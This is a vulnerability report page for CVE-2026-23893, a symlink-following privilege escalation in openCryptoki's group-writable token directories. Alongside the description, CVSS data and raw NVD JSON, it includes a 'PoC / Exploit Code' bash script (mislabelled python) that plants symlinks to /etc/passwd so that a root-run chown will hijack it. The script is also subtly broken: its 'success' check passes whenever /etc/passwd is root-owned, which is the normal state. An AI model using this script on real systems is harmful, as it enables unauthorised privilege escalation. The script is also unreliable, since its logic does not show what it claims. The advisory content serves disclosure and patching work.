Security Vulnerability Report
中文
CVE-2026-23893 CVSS 6.8 MEDIUM

CVE-2026-23893

Published: 2026-01-22 01:15:52
Last Modified: 2026-03-06 20:00:01

Description

openCryptoki is a PKCS#11 library and provides tooling for Linux and AIX. Versions 2.3.2 and above are vulnerable to symlink-following when running in privileged contexts. A token-group user can redirect file operations to arbitrary filesystem targets by planting symlinks in group-writable token directories, resulting in privilege escalation or data exposure. Token and lock directories are 0770 (group-writable for token users), so any token-group member can plant files and symlinks inside them. When run as root, the base code handling token directory file access, as well as several openCryptoki tools used for administrative purposes, may reset ownership or permissions on existing files inside the token directories. An attacker with token-group membership can exploit the system when an administrator runs a PKCS#11 application or administrative tool that performs chown on files inside the token directory during normal maintenance. This issue is fixed in commit 5e6e4b4, but has not been included in a released version at the time of publication.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:opencryptoki_project:opencryptoki:*:*:*:*:*:*:*:* - VULNERABLE
openCryptoki 2.3.2 <= version < 5e6e4b4 (unreleased)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2026-23893 PoC - Symlink Following Privilege Escalation # Requires: token-group membership TARGET_FILE="/etc/passwd" TOKEN_DIR="/var/lib/opencryptoki/token/" ATTACKER_USER="attacker" # Step 1: Find writable token directory echo "[*] Identifying writable token directory..." for dir in $(find $TOKEN_DIR -type d -perm -g=w 2>/dev/null); do echo "[+] Found writable directory: $dir" # Step 2: Create symlink to target file SYMLINK="$dir/root_ownership_$(date +%s)" ln -sf $TARGET_FILE $SYMLINK echo "[+] Created symlink: $SYMLINK -> $TARGET_FILE" # Step 3: Wait for admin maintenance (pkcs11_eventmgr or pkcsconf) echo "[*] Waiting for admin PKCS#11 operation..." echo "[*] Trigger: Run 'pkcsconf -t' or pkcs11_eventmgr as root" # Step 4: Verify ownership change if [ -L "$SYMLINK" ]; then OWNER=$(stat -c '%U:%G' $TARGET_FILE 2>/dev/null) echo "[+] Target file ownership: $OWNER" if echo "$OWNER" | grep -q "root.*"; then echo "[!] Exploit successful - verify write access" fi fi done

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23893", "sourceIdentifier": "[email protected]", "published": "2026-01-22T01:15:52.310", "lastModified": "2026-03-06T20:00:01.213", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "openCryptoki is a PKCS#11 library and provides tooling for Linux and AIX. Versions 2.3.2 and above are vulnerable to symlink-following when running in privileged contexts. A token-group user can redirect file operations to arbitrary filesystem targets by planting symlinks in group-writable token directories, resulting in privilege escalation or data exposure. Token and lock directories are 0770 (group-writable for token users), so any token-group member can plant files and symlinks inside them. When run as root, the base code handling token directory file access, as well as several openCryptoki tools used for administrative purposes, may reset ownership or permissions on existing files inside the token directories. An attacker with token-group membership can exploit the system when an administrator runs a PKCS#11 application or administrative tool that performs chown on files inside the token directory during normal maintenance. This issue is fixed in commit 5e6e4b4, but has not been included in a released version at the time of publication."}, {"lang": "es", "value": "openCryptoki es una librería PKCS#11 y proporciona herramientas para Linux y AIX. Las versiones 2.3.2 y superiores son vulnerables al seguimiento de enlaces simbólicos cuando se ejecutan en contextos privilegiados. Un usuario del grupo de tokens puede redirigir operaciones de archivo a destinos arbitrarios del sistema de archivos al colocar enlaces simbólicos en directorios de tokens con permisos de escritura para el grupo, lo que resulta en escalada de privilegios o exposición de datos. Los directorios de tokens y de bloqueo son 0770 (con permisos de escritura para el grupo de usuarios de tokens), por lo que cualquier miembro del grupo de tokens puede colocar archivos y enlaces simbólicos dentro de ellos. Cuando se ejecuta como root, el código base que maneja el acceso a archivos del directorio de tokens, así como varias herramientas de openCryptoki utilizadas con fines administrativos, pueden restablecer la propiedad o los permisos en archivos existentes dentro de los directorios de tokens. Un atacante con membresía en el grupo de tokens puede explotar el sistema cuando un administrador ejecuta una aplicación PKCS#11 o una herramienta administrativa que realiza chown en archivos dentro del directorio de tokens durante el mantenimiento normal. Este problema está solucionado en el commit 5e6e4b4, pero no ha sido incluido en una versión publicada en el momento de la publicación."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.3, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opencryptoki_project:opencryptoki:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.3.2", "matchCriteriaId": "88FDC076-2D79-4CAE-9002-05B35359D880"}]}]}], "references": [{"url": "https://github.com/opencryptoki/opencryptoki/commit/5e6e4b42f2b1fcc1e4ef1b920e463bfa55da8b45", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/opencryptoki/opencryptoki/security/advisories/GHSA-j6c7-mvpx-jx5q", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}